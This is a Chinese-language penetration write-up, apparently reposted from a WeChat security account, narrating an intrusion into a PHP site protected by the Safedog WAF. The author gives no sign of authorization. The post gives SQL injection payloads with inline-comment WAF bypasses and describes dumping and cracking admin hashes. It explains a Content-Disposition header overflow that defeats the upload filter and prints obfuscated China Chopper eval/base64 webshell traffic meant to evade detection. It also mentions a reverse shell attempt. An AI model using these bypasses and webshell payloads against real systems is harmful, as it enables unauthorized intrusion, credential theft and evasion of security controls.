0x01:前言
偶然得到一个站,记录一下渗透过程
0x02:信息收集
正常显示页面,这里我们可以得到的信息有:
1、网站是php的,显而易见。
2、web服务器为IIS7.5,平台为windows,如下。
随便输入fuzz一下,加个单引号
报错了,而且还将单引号转义了,可能存在注入
继续测试注入类型:
payload:' and 'a' = 'a
熟悉的界面
那么现在我们可以确认的是:
1、单引号被转义了,经过测试后双引号和反斜杠也被转义了,但是空格未被转义,猜测后端代码使用了 mysql_real_escape_string() 函数对id参数进行过滤
2、网站使用了安全狗,版本尚未明确
0x03:绕过安全狗
安全狗对于关键字过滤的十分严格,大小写、双写、符号都无法绕过
那继续尝试内联包裹关键字绕过
很不幸也被ban了
想到以前大佬有50001这种操作,那继续payload:order/*!50001*/by/*!50001*/ 16
很不幸又被ban了,看来安全狗版本挺新的。
参考内联50001的原理,我们可以使用其他字符对其进行扰乱。
比如/*!80000aaa*/
成功绕过了安全狗
0x04:注入
接下来查询列数:
遍历可回显位置
可见 3和7是可回显的位置
查看当前用户,当前数据库:
继续注入所有数据库名
很高兴的是安全狗只waf掉了select 所以我也不用打那么多的 /*!80000aaa*/
既然只有两个数据库那就好说了
接下来梭哈即可
查表
查字段
查数据
md5跑一跑看看能不能出来
不得不说 <https://www.somd5.com/> 很给力!
0x05:获得webshell
得到了后台账号密码后,尝试寻找后台路径,上御剑
算了吧,看看网站也没有什么可以信息泄露的
结果找到了这个,既然知道了cms,不妨Google一波
但是很遗憾Google没找着相关信息,但是在百度找到了利用点
...
于是进去看看(这个不是漏洞站的地址,是百度同类cms出来的结果)
试一试这个路径
好吧,真的进来了
看看有什么上传点,找到一处上传点
尝试直接上传php,失败;上传txt,也失败;00截断,也失败,尝试了各种姿势后,无果...
后来怎么绕过的呢,由于安全狗对于http头字段:Content-Disposition: 处理的不是很好, 当长度增加到48930的时候,安全狗的上传防御就失效了。结果如下图:
所以这里对该字段进行溢出,成功上传php文件。
但是,安全狗依然会对上传的内容进行过滤,杀了我n多小马,
终于用压箱底绕过了安全狗的疯咬。
上菜刀
秒挂,忽然想起来安全狗会对菜刀的流量进行waf。
既然被waf,那我就继续绕
众所周知,菜刀的流量是固定格式的,即:x=@eval(base64_decode($_POST[123]));&123=ZWNobyhgY2F0IC9mbGFnLnR4dGApOw==
那么狗有可能通过正则过滤了菜刀的关键语句,可能是eval函数,那改成assert试一试,但是不回显数据了,看来还是得用eval,后来下载了个安全狗试了试才知道安全狗过滤掉的是@eval(base64_decode($_POST[123]));
那变异一下关键字就行了,将@eval(base64_decode($_POST[123]));base64编码,然后再解一次base64,即:x=@eval(base64_decode(QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbMTIzXSkpOw));&123=ZWNobyhgd2hvYW1pYCk7
但是,成功是成功了,本地确实复现了,但是这服务器依然不回显数据。尝试试用本地php中转菜刀流量,依然以失败告终。。。
看来小马行不通了。那既然小马不行,上传大马试一试
正好前几天从tools混了一个大佬的大马,直接修改post数据上传,成功!
访问http://www.xxxxxx.cn/product/images/1563181161.php
扫描一下端口:
3389被关了,mysql没爆出密码,尝试反弹shell
nc可以弹回来,但是无法执行命令,各位大佬有什么思路也可以赐教一下小弟,技术有限,也只能做到这里了。
本文始发于微信公众号(T00ls):记一次绕过安某狗的渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论